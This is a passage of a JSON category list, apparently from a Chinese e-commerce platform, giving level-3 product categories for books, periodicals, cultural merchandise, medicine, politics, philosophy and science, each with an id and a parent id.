实务","parent_cid":20303,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22875,"name":"旅游其它","parent_cid":20303,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22913,"name":"旅游摄影/画册","parent_cid":20303,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22876,"name":"旅游随笔","parent_cid":20303,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22932,"name":"旅游小百科","parent_cid":20303,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22877,"name":"特色旅游","parent_cid":20303,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23058,"name":"漫画书籍","parent_cid":20317,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22869,"name":"宠物报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22814,"name":"服饰/美容报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22811,"name":"怀孕/育儿报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22943,"name":"家居设计报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22801,"name":"家庭/情感/两性报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22929,"name":"计算机报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22870,"name":"旅游报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22815,"name":"烹饪/饮食报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22872,"name":"汽车报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22940,"name":"人文地理报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22810,"name":"商业/财经报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22871,"name":"时尚报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22941,"name":"体育运动报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22812,"name":"文摘/文学报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22813,"name":"新闻/时事报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22942,"name":"医疗保健报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22802,"name":"影视/娱乐/音乐报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22816,"name":"艺术/摄影报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22963,"name":"综合及其它报纸期刊","parent_cid":20301,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23318,"name":"传媒出版","parent_cid":20343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23254,"name":"教育/教育普及","parent_cid":20343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23264,"name":"民族学","parent_cid":20343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23262,"name":"人口学","parent_cid":20343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23341,"name":"社会科学其它","parent_cid":20343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23342,"name":"社会科学总论","parent_cid":20343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23265,"name":"社会学","parent_cid":20343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23266,"name":"统计学","parent_cid":20343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23319,"name":"外国社会","parent_cid":20343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23330,"name":"文化人类学","parent_cid":20343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23263,"name":"心理学","parent_cid":20343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23320,"name":"语言文字","parent_cid":20343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23317,"name":"中国社会","parent_cid":20343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22955,"name":"爱车一族书籍","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22786,"name":"菜谱","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22884,"name":"茶类书籍","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22883,"name":"炒股书籍","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22967,"name":"都市手工艺书籍","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22820,"name":"购房/置业书籍","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22785,"name":"婚恋","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22966,"name":"家居风水类书籍","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22953,"name":"家居装修书籍","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22819,"name":"理财/基金书籍","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22956,"name":"生活百科书籍","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22882,"name":"养花书籍","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22957,"name":"饮食文化书籍","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22954,"name":"幽默笑话书籍","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22952,"name":"其它生活书籍","parent_cid":20305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23296,"name":"动漫周边","parent_cid":20337,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34391,"name":"图书点读套装","parent_cid":20337,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23349,"name":"文化创意笔记本","parent_cid":20337,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23348,"name":"文化创意环保袋","parent_cid":20337,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23338,"name":"文化创意胶带","parent_cid":20337,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23337,"name":"文化创意手账","parent_cid":20337,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23335,"name":"文化创意书签","parent_cid":20337,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23336,"name":"文化创意台历","parent_cid":20337,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23325,"name":"作家手作/原稿","parent_cid":20337,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23334,"name":"其他图书周边","parent_cid":20337,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23079,"name":"实用英语","parent_cid":20321,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23098,"name":"中国少数民族语言/汉藏语系","parent_cid":20321,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23078,"name":"其他外语","parent_cid":20321,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23117,"name":"地域文化 群众文化","parent_cid":20326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23108,"name":"广播/电视事业","parent_cid":20326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23115,"name":"神秘现象","parent_cid":20326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23110,"name":"世界文化","parent_cid":20326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23116,"name":"图书馆学 档案学","parent_cid":20326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23113,"name":"文化理论","parent_cid":20326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23114,"name":"文化评述","parent_cid":20326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23112,"name":"文化其它","parent_cid":20326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23109,"name":"文化史","parent_cid":20326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23119,"name":"信息与传播理论","parent_cid":20326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23111,"name":"中国民俗","parent_cid":20326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23118,"name":"中国文化/民俗","parent_cid":20326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22832,"name":"回忆录","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22818,"name":"纪实/报告文学","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22918,"name":"民间文学/民族文学","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22873,"name":"外国诗歌","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22914,"name":"外国随笔/散文集","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22946,"name":"外国文学小说","parent_cid":20302,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22925,"name":"文学理论/文学评论与研究","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22874,"name":"文学其它","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22833,"name":"文学史","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22931,"name":"文学作品集","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22817,"name":"现代/当代文学","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22781,"name":"戏剧","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22944,"name":"中国古代随笔","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22930,"name":"中国古诗词","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22945,"name":"中国近代随笔","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22964,"name":"中国现当代诗歌","parent_cid":20302,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22809,"name":"都市/情感小说","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22937,"name":"短篇小说集/故事集","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22778,"name":"古/近代小说(1919年前)","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22865,"name":"官场小说","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22862,"name":"军事小说","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22867,"name":"科幻小说","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22863,"name":"历史小说","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22800,"name":"青春/都市/言情/轻小说","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22859,"name":"世界名著","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22864,"name":"外国小说","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22927,"name":"现代小说1919-1949年","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22860,"name":"乡土小说","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22808,"name":"玄幻/武侠小说","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22928,"name":"影视同期书","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22923,"name":"侦探推理/恐怖惊悚小说","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22868,"name":"职场小说","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22974,"name":"自由组套(仅限弱关联套装书)","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22861,"name":"其它小说","parent_cid":20300,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22821,"name":"电影/电视艺术","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22793,"name":"雕塑","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22903,"name":"工艺美术","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22789,"name":"绘画","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22904,"name":"建筑艺术","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22790,"name":"考古","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22907,"name":"民间艺术","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22792,"name":"设计","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22905,"name":"摄影艺术","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22906,"name":"收藏鉴赏","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22803,"name":"书法/篆刻/字帖书籍","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22791,"name":"舞蹈","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22794,"name":"音乐","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22909,"name":"艺术理论","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22908,"name":"艺术其它","parent_cid":20308,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23329,"name":"耳鼻喉科学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23255,"name":"儿科学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23291,"name":"妇产科学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23258,"name":"护理学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23290,"name":"基础医学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23293,"name":"急救急诊","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23289,"name":"口腔科学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23295,"name":"老年病学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23284,"name":"临床医学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23261,"name":"麻醉学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23256,"name":"内科学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23326,"name":"皮肤病学/性病学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23285,"name":"全科医学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23352,"name":"神经病和精神病学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23294,"name":"特种医学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23257,"name":"外科学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23259,"name":"眼科学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23227,"name":"药学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23346,"name":"医疗器械及使用","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23292,"name":"影像医学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23286,"name":"医学其它","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23287,"name":"医学图谱","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23288,"name":"医院管理","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23353,"name":"预防医学、卫生学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23260,"name":"肿瘤学","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23328,"name":"中西医结合","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23226,"name":"中医","parent_cid":20336,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23321,"name":"家庭教育","parent_cid":20344,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23323,"name":"育儿百科","parent_cid":20344,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23247,"name":"孕产","parent_cid":20344,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23229,"name":"宠物","parent_cid":20338,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23230,"name":"服饰","parent_cid":20338,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23298,"name":"减肥塑身","parent_cid":20338,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23249,"name":"美容/美体/化妆","parent_cid":20338,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23300,"name":"明星写真","parent_cid":20338,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23299,"name":"时尚图鉴","parent_cid":20338,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23248,"name":"星座/占卜/测试","parent_cid":20338,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23231,"name":"游戏","parent_cid":20338,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23232,"name":"瑜伽","parent_cid":20338,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23233,"name":"兵器","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23307,"name":"党政读物","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23308,"name":"公共管理","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23309,"name":"军事技术","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23310,"name":"军事理论","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23312,"name":"领袖著作","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23351,"name":"世界各国共产党/共产主义运动","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23303,"name":"世界军事","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23304,"name":"世界政治","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23234,"name":"时政","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23253,"name":"外交/国际关系","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23340,"name":"政治军事其它","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23311,"name":"政治理论","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23305,"name":"中国军事","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23306,"name":"中国政治","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23339,"name":"中外战争纪实","parent_cid":20340,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23397,"name":"伦理学","parent_cid":20358,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23401,"name":"逻辑学","parent_cid":20358,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23414,"name":"马克思主义哲学","parent_cid":20358,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23393,"name":"美学","parent_cid":20358,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23409,"name":"外国哲学","parent_cid":20358,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23407,"name":"哲学其它","parent_cid":20358,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23412,"name":"哲学知识读物","parent_cid":20358,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23408,"name":"哲学总论","parent_cid":20358,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23404,"name":"中国哲学","parent_cid":20358,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23250,"name":"儿童/亲子/早教","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23252,"name":"会计/财经类","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23224,"name":"IT/互联网","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23316,"name":"科学科普","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23242,"name":"历史/文化","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23243,"name":"商业/技能","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23245,"name":"设计/创作","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23241,"name":"升学/考研","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23240,"name":"兴趣/生活","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23314,"name":"学术探索","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23315,"name":"影音传媒","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23246,"name":"语言/留学","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23244,"name":"职业/考试","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23313,"name":"其他服务","parent_cid":20342,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23271,"name":"测绘学","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23283,"name":"地理学/自然地理学","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23331,"name":"地球物理学","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23267,"name":"地质学","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23272,"name":"海洋学","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23332,"name":"航空与航天","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23236,"name":"化学","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23269,"name":"晶体学","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2